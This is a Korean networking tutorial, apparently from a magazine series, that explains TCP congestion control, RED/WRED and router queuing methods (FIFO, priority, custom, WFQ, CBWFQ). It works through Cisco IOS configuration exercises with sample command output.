패킷 1을 수신했다는 하나의 승인패킷(ACK)을 수신하면, 송신원은 cwnd를 1 증가시키므로 두 개의 패킷 2~3이 전송된다. 이 후 2개의 승인패킷(ACK)을 수신하면 다시 cwnd를 2 증가시키므로 네 개의 패킷이 전송될 수 있고, 이와 같은 방식으로 승인패킷(ACK)이 하나 수신될 때마다 계속 윈도우의 크기를 1만큼 증가시키게 된다.
즉, 슬로우 스타트 동안 송신원은 하나의 승인패킷(ACK)을 수신할 때마다 윈도우를 1 증가시키기 때문에 결과적으로는 하나의 승인 패킷을 수신할 때마다 두 개의 추가적인 패킷을 전송할 수 있게 된다. 슬로우라는 말과는 달리 실제로 윈도우는 지수적으로(exponentially) 빠르게 증가하는 것이다.
슬로우 스타트 상태에서의 윈도우는 지수적으로 계속 증가하는데, 윈도우의 크기가 임계 값(ssthresh: slow-start-threshold)과 같아지면 TCP 혼잡 회피가 시작된다(초기 ssthresh 값은 64K로 설정된다). 슬로우 스타트와는 달리 TCP 혼잡 회피 상태에서는 하나의 승인패킷(ACK)은 혼잡 윈도우의 크기를 1씩 증가시킨다. 예를 들어 cwnd의 값이 10인 상태에서 10개의 패킷이 안전하게 전송됐다는 승인 패킷을 수신하면, cwnd의 값을 11로 증가시킨다. 중요한 점은 혼잡 회피에서의 cwnd의 값은 슬로우 스타트에 비해 훨씬 느린 속도로 증가한다는 것이다.
(그림 2)는 TCP 슬로우 스타트와 TCP 혼잡 회피 상황에서 윈도우의 크기 변화를 표현한 것이다. (그림 2)를 보면 TCP 슬로우 스타트 상황일 때에 비해 윈도우의 크기가 완만하게 증가되는 것을 볼 수 있다.
TCP 혼잡 제어 메커니즘
송신원의 상태가 TCP 슬로우 스타트 상태에 있건, 아니면 TCP 혼잡 회피 상태에 있건 현재 연결이 유지되고 이를 통해 패킷들이 전송되는 한, 윈도우는 지속적으로 증가하고 언젠가는 혼잡으로 인한 패킷 손실이 발생하게 된다. 따라서 이를 복구하기 위한 기능이 TCP 혼잡 제어 메커니즘이다.
TCP 프로토콜에서 패킷이 전달되는 과정을 쉽게 설명하면 처음 TCP 세션이 연결된 후 전송을 시작할 때, 처음 윈도우 크기를 1로 설정해 전송을 시작하며, 타임아웃(retransmission timeout: RTO)이 발생하기 전에 승인 패킷(ACK)을 수신할 경우에는 윈도우의 크기를 2배로 증가시킨 후 전송한다.
만일 타임아웃이 발생할 때까지 승인 패킷(ACK)을 수신하지 못하면, 임계값(ssthresh)을 윈도우 크기의 반으로 설정을 하고, 윈도우 크기를 1로 재전송을 시작한다. 이후 윈도우 크기를 2배씩 증가시키다가 윈도우 크기가 임계값보다 커지면 윈도우 크기를 1씩 증가시킨다.
(그림 3)은 TCP의 동작을 보여주고 있다. 1로 표시된 구간은 TCP 슬로우 스타트에 해당되며, 2로 표시된 구간은 TCP 혼잡 회피에 해당된다.
·TCP 송신원이 타임아웃 이전에 ACK 수신할 때
if CWND ( Threshold --> CWND = 2 * CWND
if CWND > Threshold --> CWND = CWND + 1
· TCP 송신원이 타임아웃 이전에 ACK 수신하지 못할 때
Threshold = CWND / 2
CWND = 1
네트워크의 불안요소 '글로벌 싱크로나이제이션'
TCP가 동작하는 모습을 살펴보면 네트워크의 전송상태가 좋을 경우에는 트래픽을 많이 전송하고, 패킷 손실이 발생하면 전송하는 트래픽의 양을 줄이는 것을 알 수 있다. 이 사실만으로 본다면 TCP는 상당히 똑똑한 프로토콜이라고 할 수도 있다. 하지만 바로 이런 TCP의 혼잡제어 메커니즘 때문에 사실은 또 다른 문제가 발생할 수 있다.
예를 들어, 일반적인 소규모의 네트워크 구성을 생각해보자. 라우터에 외부 네트워크가 연결돼 있고 내부에는 스위치 아래에 호스트 PC들이 연결돼 있다. 모든 호스트 PC들은 라우터를 통해서 외부 네트워크와 연결돼 있다. 동시에 여러 PC들이 인터넷을 접속하게 되면 TCP의 동작 상황에 따라 라우터의 출력 인터페이스 버퍼(buffer)에는 여러 개의 TCP 플로우가 존재하게 된다. 이럴 경우 큐 사이즈는 빠른 속도로 증가하게 되며, 이내 버퍼 풀(buffer full)이 발생하고, 오버플로우가 발생하게 된다.
그러면, 모든 TCP 플로우들은 버퍼 풀 이후에 도착한 모든 패킷들을 잃게 되며(테일 드롭 발생), 모든 호스트 PC들은 타임아웃이 발생할 때까지 잃어버린 패킷들에 대한 ACK를 받지 못하게 된다.
결국, 모든 호스트 PC들은 자신의 전송 속도를 줄이게 되며(윈도우의 크기를 1로 줄인다) 빠른 속도로 큐 사이즈는 줄어들게 된다. 그러나, 다시 슬로우 스타트 과정으로 인해 큐 사이즈는 증가하게 되고, 오버플로우가 발생하며, 모든 TCP 플로우에 대해 동일한 과정이 반복되게 된다. 이런 현상을 글로벌 싱크로나이제이션(Global Synchronization)이라 하는데, 트래픽 양의 급격한 출렁거림으로 인해 성능은 물론 네트워크 장비가 불안정해지는 원인이 된다.
글로벌 싱크로나이제이션 해결 방법 1 : RED
실제로 글로벌 싱크로나이제이션은 네트워크에 심각한 문제를 유발시킨다. 물론 QoS 측면에서는 더더욱 안 좋은 현상이기도 하다. 가장 큰 문제는 지연과 지터가 커진다는 것이다. QoS에서는 글로벌 싱크로나이제이션 현상을 해결하기 위해 RED(Random Early Detection), WRED(Weighted Random Early Detection) 등을 사용한다.
(그림 4)는 RED를 적용하기 전과 적용한 후의 TCP 트래픽 흐름이 어떻게 차이가 나는지 보여주는 그림이다. RED는 TCP 동작 특성을 이용한 대표적인 혼잡 제어 기법으로, 이름이 암시하는 것처럼, 혼잡이 발생하기 이전에 미리 랜덤한 방식으로 패킷을 버림으로써 특정한 TCP 플로우로 하여금 전송 속도를 줄이게 하는 방법이다. 기본적인 동작은 큐에 두 개의 쓰레시홀드 TH_min과 TH_max를 두고 세 구간에 서로 다른 드롭 확률을 적용하는 것이다.
RED의 동작 과정은 다음과 같다(그림 5).
① 평균 큐 사이즈(AQS: Average Queue Size)가 TH_min보다 작은 경우에는 어떤 패킷도 버리지 않고 모두 받아 들인다.
② 큐 사이즈가 TH_min보다는 크지만 TH_max보다는 작은 경우 큐 사이즈에 따라 특정한 확률값을 갖고 패킷을 버린다.
③ 큐 사이즈가 TH_max보다 큰 경우는 입력되는 모든 패킷을 버린다. 즉, 혼잡의 정도가 심해질수록 많은 패킷을 버림으로써 입력되는 트래픽의 양을 줄이려는 방법이다.
일반적으로, TH_max 값이 너무 작으면 패킷 드롭이 빈번히 발생해서 전체 성능에 심각한 영향을 줄 수도 있으며, TH_max 이상에서 모든 입력되는 패킷을 버리는 동작이 버퍼 오버플로우에 의한 결과와 동일하기 때문에 TH_max를 큐의 최대 크기와 같거나 가까운 값으로 설정을 하게 된다. 또한, p(드롭 가능성)의 값이 너무 작으면 패킷이 드롭되는 빈도가 낮아져 혼잡 제어 효과가 제대로 나타나지 않을 수도 있다. 따라서, RED를 사용할 때는 TH_min, TH_max, 그리고 p 값을 적절하게 설정해 주는 것이 중요하다.
RED를 진일보시킨 'WRED'
RED를 적용함으로써 글로벌 싱크로나이제이션 현상은 예방할 수 있다. 하지만 랜덤하게 패킷을 버리기 때문에 중요한 패킷이 버려질 수 있는 단점이 있다. 이런 문제점을 해결하기 위해 버려질 수 있는 확률에 대한 가중치를 부여했다. 즉, WRED는 하나 혹은 여러 개의 서로 다른 클래스 트래픽에 서로 다른 특성을 갖는 RED를 적용함으로써 혼잡 제어를 하는 것을 말한다. 서로 다른 특성을 갖는 RED라는 것은 TH_min, TH_max, 그리고 max p 값이 서로 다른 RED 패킷 드롭 확률을 말한다.
동일한 클래스 트래픽에 WRED를 적용하는 경우는, 같은 클래스에 속한 서로 다른 우선순위의 패킷들에 서로 다른 RED를 적용하게 된다. 예를 들면, DiffServ의 AFx 클래스의 경우, 동일한 클래스에 3개의 서로 다른 드롭 우선권(drop precedence)이 존재하는데, 각각의 드롭 우선권에 대해 서로 다른 RED를 적용할 수 있다.
(그림 6)은 WRED 패킷 드롭 확률의 일례를 보여주고 있다. 이 그림은 DiffServ의 어떤 클래스 트래픽에서 파랑색과 빨간색으로 마크된 패킷들에 대해 서로 다른 RED를 적용할 수 있음을 보여주고 있다.
(그림 6)에서 볼 수 있듯이 낮은 우선순위의 패킷 혹은 클래스에 대해서는 더욱 공격적인 패킷 드롭이 발생하며, 우선순위가 높은 패킷 혹은 클래스에 대해서는 보수적인 패킷 드롭이 발생된다. 그림에서는 우선순위가 낮은 A에 대한 TH_max가 Z에 대한 TH_min보다 크게 설정된 경우를 보여주고 있으나, A에 대한 TH_max가 Z에 대한 TH_min보다 반드시 작거나 같아야 하는 조건을 줄 수도 있다.
비록 같은 클래스에 속한 패킷들이지만, 드롭 우선순위가 다르며, 서로 다른 RED가 적용된다. (그림 6)에서 큐에 10개의 패킷이 들어있는 상태에서 새로운 패킷이 들어왔을 경우 새로 들어온 패킷이 빨간색이라면 렌덤하게 드롭이 되겠지만, 파란색 패킷이 들어오면 정상적으로 서비스를 하게 된다.
또, 큐에 패킷이 30 이상 들어있는 상태에서는 빨간색 패킷은 100% 드롭되며, 나머지의 여유공간은 파란색 패킷이 서비스되는 것이다. 즉, 중요한 트래픽을 파란색으로 규정하고, 중요하지 않은 트래픽을 빨간색으로 규정해 서로 다른 우선순위를 부여함으로써 차별화 된 서비스를 제공할 수 있게 되는 것이다.
IP 우선권을 기준으로 WRED를 구성할 때는 8개의 WRED 설정이 가능하며, DSCP를 기준으로 WRED를 구성할 때는 64개까지의 WRED 설정이 가능하다.
실전! 연습문제
그럼 이제부터 연습문제를 풀어보면서 WRED 설정에 대해 알아보자.
<연습 문제>
(그림 7)에서 R3는 프레임 릴레이 128Kbps로 연결돼 있다. 다음의 조건을 만족하도록 R3에 설정하라.
① E0/0에서 들어오는 VoIP 패킷은 DSCP EF 코드를 사용해 CB 마킹하고, 전용큐를 사용해 58Kbps의 대역폭을 할당하며, WRED는 적용하지 말아라.
② E0/0에서 들어오는 HTTP 트래픽 중 URL에 "important"가 들어가는 패킷은 DSCP AF21 코드를 사용해 CB 마킹하고, 전용큐를 사용해 20Kbps의 대역폭을 할당하며, WRED를 적용하라.
③ E0/0에서 들어오는 HTTP 트래픽 중 URL에 "not-so"가 들어가는 패킷은 DSCP AF23 코드를 사용해 CB 마킹하고, 전용큐를 사용해 8Kbps의 대역폭을 할당하며, WRED를 적용하라.
④ E0/0에서 들어오는 나머지 패킷은 DSCP BE 코드를 사용해 CB 마킹하고, 전용큐를 사용해 20Kbps의 대역폭을 할당하며, WRED를 적용하라.
<연습 문제에 대한 설명>
CB 마킹(Class-Based Marking) 설정 순서는 다음과 같다.
① Class-map match-all/any 명령어를 이용해 클래스를 설정한다.
② policy-map 명령어를 이용해 적용할 정책을 설정한다.
③ 2번에서 만든 policy-map 이름을 적용하고자 하는 인터페이스에서 service-policy 명령어를 이용해 적용한다.
<연습문제 해결 : WRED 설정>
ip cef
! → S0/0에 LLQ를 생성하는 과정
Class-map match-all dscp-ef → dscp-ef 라는 Class-map 생성
match ip dscp ef
Class-map match-all dscp-af21 → dscp-af21 라는 Class-map 생성
match ip dscp af21
Class-map match-all dscp-af23 → dscp-af23 라는 Class-map 생성
match ip dscp af23
! → E0/0에서 들어오는 트래픽에 대한 BC마킹 과정
Class-map match-all http-impo → http-impo라는 Class-map 생성
match protocol http url "*important*"
Class-map match-all http-not → http-not라는 Class-map 생성
match protocol http url "*not-so*"
Class-map match-all class-default → class-default라는 Class-map 생성
match any → 나머지 모든 트래픽들은 class-default에 적용
Class-map match-all voip-rtp → voip-rtp 라는 Class-map 생성
match ip rtp 16384 16383 → VoIP 트래픽을 구분
! → E0/0에 들어오는 부분에 적용할 정책 생성하는 과정
Policy-map laundry-list → laundry-list 라는 Policy-map 생성
class voip-rtp → 기 작성한 'voip-rtp' 라는 class-map을 소환
set ip dscp ef → voip 패킷에 대하여 DSCP 값을 EF로 설정
class http-impo
set ip dscp af21
class http-not
set ip dscp af23
class class-default
set ip dscp default
! → S0/0에 나가는 부분에 적용할 WRED 정책 생성하는 과정
Policy-map queue-on-dscp → queue-on-dscp라는 Policy-map 생성
class dscp-ef → 기 작성한 'dscp-ef' 라는 class-map을 소환
priority 58 → LLQ 설정 부분(최우선순위 설정)
class dscp-af21 → 기 작성한 'dscp-af21'라는 class-map을 소환
bandwidth 20 → 대역폭을 20Kbps로 설정
random-detect dscp-based → dscp-base WRED 적용부분
class dscp-af23
bandwidth 8
random-detect dscp-based
class class-default
fair-queue
random-detect dscp-based
!
interface Ethernet0/0
ip address 192.168.3.253 255.255.255.0
ip nbar protocol-descovery → nbar를 적용함
service-policy input laundry-list → 기 작성한 'laundry-list' 정책을 적용함
!
interface Serial0/0
no ip address
bandwidth 128
encapsulation frame-relay
load-interval 30
max-reserved-bandwidth 85
service-policy output queue-on-dscp → 기 작성한 'queue-to-point' 정책을 적용함
clockrate 128000
!
interface Serial0/0.1 point-to-point
ip address 192.168.2.253 255.255.0
frame-relay interface-dlci 101
<WRED 설정 확인>
R3# show policy-map int s0/0
Serial0/0
service-policy output: queue-on-dscp
Class-map: dscp-ef (match-all)
46437 packets, 2971968 bytes
30 second offered rate 0 bps, drop rate 0 bps
Match: ip dscp ef
Weighted Fair Queueing
Strict Priority
Qutput queue: Conversation 264
Bandwidth 58 (kbps) Burst 1450 (Bytes)
(pkts matched/bytes matched) 42805/2739520
(total drops/no-buffer drops) 0/0
Class-map: dscp-af21 (match-all)
2878 packets, 3478830 byte
30 second offered rate 76000 bps, drop rate 0 bps
Match: ip dscp af21
Weighted Fair Queueing
Qutput queue: Conversation 266
Bandwidth 20 (kbps)
(pkts matched/bytes matched) 2889/3494718
(depth/total drops/no-buffer drops) 11/26/0
exponential weight: 9
mean queue depth: 5
dscp Transmitted Random drop Tail drop Minimum Maximum Mark
pkts/bytes pkts/bytes pkts/bytes thresh thersh prob
af21 2889/3494718 8/9904 18/21288 32 40 1/10
Class-map: dscp-af23 (match-all)
1034 packets, 1250984 byte
30 second offered rate 32000 bps, drop rate 0 bps
Match: ip dscp af23
Weighted Fair Queueing
Qutput queue: Conversation 267
Bandwidth 8 (kbps)
(pkts matched/bytes matched) 1047/1266140
(depth/total drops/no-buffer drops) 11/46/0
exponential weight: 9
mean queue depth: 5
dscp Transmitted Random drop Tail drop Minimum Maximum Mark
pkts/bytes pkts/bytes pkts/bytes thresh thersh prob
af23 1047/1266140 13/18252 33/34083 24 40 1/10
Class-map: dscp-default (match-any)
847 packets, 348716 byte
30 second offered rate 2000 bps, drop rate 0 bps
Match: any
Weighted Fair Queueing
Flow Based Fair Queueing
Maximum Number of Hashed queues 256
(total queued/total drops/no-buffer drops) 0/0/0
exponential weight: 9
dscp Transmitted Random drop Tail drop Minimum Maximum Mark
pkts/bytes pkts/bytes pkts/bytes thresh thersh prob
default 59/767 0/0 0/0 20 40 1/10
이번에 풀어본 연습문제는 상당히 복잡하므로, 지금까지 배워왔던 내용들을 잘 숙지하고 있어야 성공적으로 해결할 수 있을 것이다. CB 마킹을 이용한 이유는 명령어를 적용하는 형식에 익숙해지도록 유도하기 위해서였다. 이 CB 구조는 실무에서 요구되는 거의 모든 조건에 적용할 수 있기 때문에, 이 문장의 구조에 익숙해지면 상당한 실력을 요구하는 문제라도 쉽게 풀어낼 수 있을 것이다. 다음호에는 QoS에서 사용되는 또 다른 튜닝기법인 LE(Link Efficiency) 매커니즘에 대해 알아볼 것이다.
출처 - http://www.ionthenet.co.kr
큐잉은 QoS에서 중요한 4가지 측정요소인 대역폭, 지연, 지터, 패킷 손실을 직접적으로 컨트롤할 수 있는 기술이다. 특히 중요한 트래픽에 대한 패킷 손실을 예방하며 허용된 대역폭 내에서 지연을 최소화할 수 있는 막강한 기능을 제공한다. 많은 이들이 QoS라는 말을 들을 때 제일 먼저 큐잉을 떠올릴 정도로 애용되고 있으며, QoS를 제공하기 위한 DiffServ의 여러 모듈들 중에서 유일하게 매번 사용되는 모듈이다.
김화식_온세통신 시설운영팀 CCIE
지난호에서 우리는 트래픽 쉐이핑과 폴리싱에 대해 알아봤다. 임계값(threshold)을 초과한 트래픽에 대해 버퍼를 이용해 지연시켰다가 서비스하는 쉐이핑과 드롭을 시키는 폴리싱에 대해 설명을 했으며, 쉐이핑을 이용하면 네트워크 상의 이그레스 블록킹(egress bloking) 문제와 대부분의 QoS 관련 이슈(패킷 손실에 의한 성능저하 문제)를 해결할 수 있다는 점을 설명했다. 또한 폴리싱을 이용하면 네트워크의 용량 부족 문제를 해결할 수 있으며, 대역폭을 쉽게 관리할 수 있고, 바이러스나 P2P 패킷과 같은 일부 서비스가 전체 네트워크 서비스에 영향을 미치는 것을 예방할 수 있다는 것도 알아봤다.
이번호에는 큐잉(queuing)에 대해 알아볼 것이다. 큐잉의 종류와 장단점, 그리고 실무에서의 적용 방법 등을 중심으로 이야기를 풀어나갈 것이다. 우선 큐(queue)의 기본에 대해 알아보자. 큐를 이해하는 가장 간단한 방법은 버스를 탈 때 줄서는 모습을 생각하면 된다. 보통 차례대로 버스를 타게 되면 제일 앞에 줄서있는 사람이 제일 먼저 버스에 올라탈 수 있다. 이런 원리가 큐의 가장 기본이 되는 FIFO(First-In First-Out) 큐인 것이다.
네트워크에서 큐잉의 의미
네트워크에서 큐잉은 어떤 네트워크 장비가 처리(서비스)할 수 있는 것 이상으로 패킷이 도착하거나, 동시에 동일한 목적지로 향하는 패킷들이 존재할 때 발생한다. 즉, 한꺼번에 처리할 수 없는 패킷들을 잠시 동안 버퍼(메모리)에 저장해 두었다가 나중에 서비스를 하는 것이 큐잉이다. 이때 사용되는 버퍼의 종류는 하드웨어 큐와 소프트웨어 큐로 나눌 수 있다.
좀더 쉽게 풀어서 설명하면 라우터로 들어온 인바운드 트래픽은 라우팅 프로세스에 의해 라우팅 경로가 결정되며, 결정된 출력 인터페이스를 통해 서비스된다. 이때 라우터의 인터페이스에서 연속 지연(serialization delay) 시간 동안 패킷을 저장해야 하는 상황이 생기며, 이를 처리하기 위해 각 인터페이스마다 일정량의 하드웨어 큐를 갖는다. 이때 인터페이스에 할당되는 하드웨어 큐를 보통 TX 큐(Transmit Queue) 또는 TX 링(Transmit Ring)이라고 말한다. 이 하드웨어 큐의 크기는 라우터의 성능에 따라서 달라진다. TX 큐의 특징은 다음과 같다.
·FIFO 스케줄링(scheduling)만 지원하며 변경할 수 없다.
·인터페이스별로 1개만 사용할 수 있다.
·다른 큐잉 스케줄링을 사용하면 IOS는 TX 큐의 길이를 자동으로 줄여준다.
·관리자가 임의의 설정을 통해 TX 큐의 길이를 조절할 수 있다.
TX 큐는 FIFO 스케줄링만을 지원하기 때문에 FIFO 큐잉의 가장 큰 단점인, 모든 트래픽에 대해 단일 트래픽으로 인식하고 단지 큐에 들어온 순서에 의해서만 서비스를 해주는(베스트 에포트 서비스) 문제를 갖고 있다. 이 문제를 해결하기 위해 TX 큐 앞에 소프트웨어 큐를 두어 스케줄링을 제공한다. 우리가 일반적으로 알고 있는 큐잉은 이 소프트웨어 큐를 지칭하는 말이다.
FIFO 큐잉의 이해
FIFO 큐잉은 단일 FIFO 큐를 사용하는 것을 말한다. 가장 기본적인 큐잉의 구조로 하드웨어 큐의 연장선상에서 생각하면 된다. 하드웨어 큐(TX 큐) 앞에 또 하나의 하드웨어 큐를 제공하는 것과 같은 동작을 한다. 일반적으로 FIFO 큐잉은 하나의 큐에 모든 클래스의 트래픽을 저장하게 된다. 그 이유는 큐가 하나밖에 없기 때문이다.
FIFO 큐잉에 사용되는 스케줄링 방식은 'First Come First Serve'다. 즉, 패킷의 클래스나 우선순위에 상관없이 먼저 입력된 패킷을 먼저 서비스하게 된다. 베스트 에포트 서비스 모델만을 갖고 있는 전통적인 인터넷에서 사용되는 큐잉과 스케줄링 구조에 해당한다. 트래픽의 구분이 존재하지 않기 때문에, FIFO 큐잉을 사용하는 장비에서는 패킷 분류(classification)나 마킹(marking)처럼 클래스와 관련된 기능은 필요 없다.
FIFO 큐잉의 장점은 구현이 간단하며 FIFO 큐의 동작이 예측 가능하다는 것이다. 즉, 패킷들의 순서가 유지되며, 패킷의 최대 지연은 큐의 최대 크기에 의해 결정된다. FIFO 큐잉의 단점으로는 클래스의 구분이 없기 때문에 차등화된 서비스를 제공하는 것이 불가능하다는 점이다. 또한, 테일(tail) 드롭이 발생하기 때문에 버스트 트래픽 서비스에 부적합 하며, 혼잡이 발생하는 경우 TCP보다 UDP 트래픽에 유리하다.
즉, TCP와 UDP 트래픽이 혼재하는 경우 혼잡이 발생하면, TCP 센더는 흐름 제어 알고리즘에 의해 전송 속도를 줄이게 되지만, UDP 센더는 계속해서 트래픽을 보내게 되며 TCP의 흐름제어에 의해 발생한 대역폭을 차지하게 돼 결국에는 TCP 트래픽의 서비스가 어렵게 된다. TCP 흐름제어에 대한 자세한 설명은 혼잡회피부분에서 보다 자세하게 설명할 것이다.
FIFO 큐잉을 개선한 '우선순위 큐잉'
엄격한 우선순위(strict priority) 큐잉이라고도 불리는 우선순위(priority) 큐잉은 FIFO 큐잉의 단점인 클래스의 구분이 없기 때문에 차등화된 서비스를 제공하지 못하는 문제를 해결하기 위해 만들어 졌다.
(그림 3)을 보면 우선순위 큐는 기존의 FIFO 큐잉이 단일 FIFO 큐를 사용하는 것에 비해 'High' 'Medium' 'Normal' 'Low'의 4가지 FIFO 큐를 사용하는 것을 알 수 있다. 4개의 FIFO 큐를 사용하므로, 각각의 큐가 서로 다른 트래픽 클래스에 매핑이 된다.
우선순위 큐잉을 사용하는 경우 스케줄링 방식은 아주 단순하다. (그림 4)를 보면 낮은 우선순위 큐에 저장돼 있는 패킷들은 높은 우선순위 큐에 저장돼 있는 패킷들이 모두 서비스 된 이후에 서비스가 되는 것을 알 수 있다. 만약, 낮은 우선순위 큐에 저장돼 있는 패킷이 서비스 되는 도중이라도 높은 우선순위 큐에 패킷이 입력되면, 낮은 우선순위 큐는 서비스를 잠시 멈추고 높은 우선순위 큐에 새로 도착한 패킷을 먼저 서비스 해주게 된다.
우선순위 큐잉 방식의 장점은 간단한 방법(우선순위가 높은 패킷을 우선 서비스)으로 차등화된 서비스를 제공할 수 있다는 것이다. 이 때문에 실시간 애플리케이션의 지원이 가능하다. 그러나 높은 우선순위 큐에 패킷이 계속해서 입력될 때, 낮은 우선순위 큐에 저장된 패킷이 서비스가 되지 못하는 아사(starvation) 현상이 발생되는 문제가 발생한다. 또한, 동일한 우선순위의 패킷만 많이 들어오는 경우에는 FIFO 큐처럼 동작이 되는 문제도 생길 수 있다.
커스텀 큐잉의 구현 원리
페어(fair) 큐잉이라고도 부르는 커스텀(custom) 큐잉은 앞서 설명한 우선순위 큐잉의 단점인 우선순위가 낮은 클래스의 패킷들이 우선순위가 높은 트래픽에 의해 아사되는 문제를 해결하기 위해 만들어 졌다.
(그림 5)를 보면 커스텀 큐잉은 최대 16개의 FIFO 큐를 사용하는 것을 알 수 있다. 관리자가 각 큐에 대해 클래스를 구분해서 각각의 클래스마다 각각의 큐를 지정해 사용할 수 있다. 우선순위 큐에서 클래스를 4개로 나눠 분리하는 것보다 더 세분화해 분리할 수 있다는 것이 장점이다.
이렇게 세분화된 트래픽은 각각의 해당 큐로 보내져 라운드-로빈 스케줄링에 의해 하드웨어 큐(TX 큐)로 서비스된다. 즉, 모든 큐의 패킷이 공평하게 서비스되는 것이다. 우선순위 큐잉에서는 높은 우선순위 큐가 패킷을 갖고 있는 한, 낮은 우선순위 큐에 비해 절대적인 서비스 우선순위를 유지한다. 때문에 낮은 우선순위 큐가 아사 현상을 경험하게 되지만, 커스텀 큐잉에서는 모든 큐가 동일한 우선순위를 갖기 때문에 아사 현상은 발생하지 않게 된다. 그러나, 이 방식은 트래픽의 특성을 고려하지 않고 서비스 차원에서의 공정성만을 감안하고 있기 때문에, 스케줄링 차원에서 차등화된 서비스를 제공하는 것은 불가능하며, 관리자의 잘못된 설정에 의해 대역폭의 비효율적인 할당과 지연시간의 증가 등의 문제가 발생할 수 있다.
우선순위 큐잉과 커스텀 규잉 방식의 장점만 결합한 WFQ
WFQ는 우선순위 큐잉의 단점인 우선순위가 낮은 클래스의 패킷들이 우선순위가 높은 트래픽에 의해 아사되는 문제를 해결하는 동시에 커스텀 큐잉 방식에서 차등화된 서비스를 제공하지 못하는 현상을 해소하기 위해 개발된 것이다.
(그림 6)을 보면 WFQ는 최대 4096개의 큐를 사용하는 것을 알 수 있다. 굉장히 많은 큐를 제공하기 때문에 클래스를 플로우 단위(fer-flow)로 나눠 사용한다. 각각의 큐는 IP 우선권(precedence)을 기준으로 가중치(weight)를 받게 된다. 더 정확하게 말하면 IP 우선권의 크기에 반비례해 부여한다. 실제 패킷의 크기와 수식으로 계산을 해서 나온 가상 패킷의 크기를 기준으로 서비스되도록 스케줄링이 이뤄진다. 이 같은 수식을 적용하는 이유는 우선순위가 높거나 크기가 작은 패킷들에 대해 우선적으로 서비스하기 위함이다.
(그림 7)은 WFQ에서 어떤 방식으로 스케줄링이 이뤄지는지를 보여주는 그림이다. 큐 1에는 우선권 값이 5인 트래픽이 들어 있고, 큐 2에는 우선권 값이 0인 트래픽이 들어 있다. 실제 패킷의 크기는 큐 1에 있는 패킷이 더 큰 것을 알 수 있다. 이 같은 환경에서 큐의 실행은 다음과 같다.
·FIFO 큐잉으로 서비스를 한다고 하면 서비스되는 순서는 큐1_1 → 큐2_1 → 큐2_2 → 큐2_3 → 큐2_4 → 큐1_2가 된다.
·우선순위 큐잉으로 서비스를 한다고 하면 우선순위가 낮은 큐 2에 있는 패킷은 큐 1에 계속 패킷이 들어오기 때문에 서비스되지 않는다. 이것이 앞서 말한 아사(starvation) 현상이다.
·커스텀 큐잉으로 서비스를 한다고 하면 관리자의 설정(바이트 카운트, MTU)에 따라서 결과가 너무 차이가 나게 된다.
·WFQ를 이용해 서비스를 한다고 하면 '실제 패킷의 크기 / 우선권(precedence)에 의한 웨이트 = 가상 패킷의 크기' 의 공식을 적용해 계산된 가상 패킷의 크기를 구한 다음, 끝나는 시간이 적은 패킷을 우선해 서비스한다. (그림 7)에서의 결과를 보면 큐1_1 → 큐2_1 → 큐1_2 → 큐2_2 → 큐1_3 → 큐2_3 등의 순서로 서비스 됨을 알 수 있다. 즉, WFQ를 이용해 서비스를 하면 우선순위가 높은 패킷을 먼저 서비스하면서 우선순위가 낮은 패킷에 대해서도 서비스를 제공함을 알 수 있다.
WFQ 개선시킨 3단계 큐잉 기법 'CBWFQ'
CBWFQ는 WFQ를 한층 발전시킨 모습으로, 관리자들이 설정하기 쉽게 3단계를 이용해 구현한다. 1단계에서는 클래스를 구분하고, 2단계에서는 정책을 적용하고, 3단계에서는 인터페이스에 설정을 한다.
CBWFQ는 커스텀 큐잉의 장점인 각각의 큐마다 최저 대역폭을 바이트 단위로 할당하는 기능을 발전시켜서 전체 대역폭의 %로도 최저 대역폭을 보장할 수 있게 했다. 하지만 기존의 WFQ가 플로우 기반으로 구현돼 큐가 많이 필요했던 것에 비해(4098개) CBWFQ는 클래스를 기준으로 큐를 구분하기 때문에 64개로도 설정이 충분하다. 드롭 정책에도 WFQ가 테일 드롭(tail drop) 밖에 사용하지 못했던 것에 비해 CBWFQ에서는 테일 드롭과 병행해 WRED(Weighted random rarly detection)을 사용해 글로벌 싱크로나이제이션(global synchronization) 문제를 최소화했다.
CBWFQ의 실제 적용
자, 이론 설명은 여기까지 마치고 지금부터는 연습문제를 통해 CBWFQ의 초급 설정에 대해 알아보자.
☞ 연습문제 1
(그림 9)에서 라우터 3는 프레임 릴레이 128kbps로 연결돼 있다. 다음의 조건을 만족하도록 라우터 3에 설정하라.
1. 모든 VoIP 트래픽은 VoIP 전용 큐를 사용해 서비스하라.
2. VoIP를 제외한 다른 트래픽은 일반 큐를 사용해 서비스하라.
3. 전체 대역폭의 50%를 VoIP 전용 큐에 할당하라.
4. 일반 큐는 WFQ를 사용하라.
5. CBWFQ(Class-Based WFQ)를 이용해 설정하라.
(그림 9) CBWFQ 적용을 위한 실전문제(초급)
☞ 연습문제 1의 해결 방법
CBWFQ의 설정 순서는 다음과 같다.
1. Class-map match-all/any 명령어를 이용해 클래스를 설정한다.
2. policy-map 명령어를 이용해 적용할 정책을 설정한다.
3. 2번에서 만든 policy-map 이름을 적용하고자 하는 인터페이스에서 service-policy 명령어를 이용해 적용한다.
CBWFQ의 설정(초급)은 다음과 같다.
ip cef
!
class-map match-all voip-rtp → Voip-rtp라는 이름의 Class-map을 설정(①)
match ip rtp 16384 16383 → VoIP의 범위를 정함(클래스를 나누는 모습)
!
policy-map queue-voip → Queue-voip라는 이름의 policy-map을 설정(②)
class voip-rtp → ①에서 만든 Class-map을 불러옴
bandwidth percent 50 → ①에서 만든 VoIP 클래스에 대역폭의 50%를 할당
class class-default → VoIP를 제외한 트래픽은 class-default로 정의
fair-queue → 일반큐를 WFQ로 설정하는 모습
!
interface Serial0/0
no ip address
encapsulation frame-relay
load-interval 30
bandwidth 128
service-policy output queue-voip → ②에서 만든 queue-voip를 인터페이스에 적용(③)
clockrate 128000
!
interface Serial0/0.1 point-to-point
ip address 192.168.2.253 255.255.255.0
frame-relay interface-dlci 101
CBWFQ 설정한 것을 확인하면 다음과 같다(초급).
R3# show policy-map int s0/0
Serial0/0
service-policy output: queue-voip
Class-map: voip-rtp (match-all)
136435 packets, 8731840 bytes
30 second offered rate 51000 bps, drop rate 0 bps
Match: ip rtp 16384 16383
Weighted Fair Queueing
Qutput queue: Conversation 256
Bandwidth 50 (%) Max Threshold 64 (packets)
(pkts matched/bytes matched) 48550/3107200
(depth/total drops/no-buffer drops) 14/0/0
Class-map: class-default (match-any)
1958 packets, 1122560 byte
30 second offered rate 59000 bps, drop rate 0 bps
Match: any
Weighted Fair Queueing
Flow Based Fair Queueing
Maximum Number of Hashed Queues 256
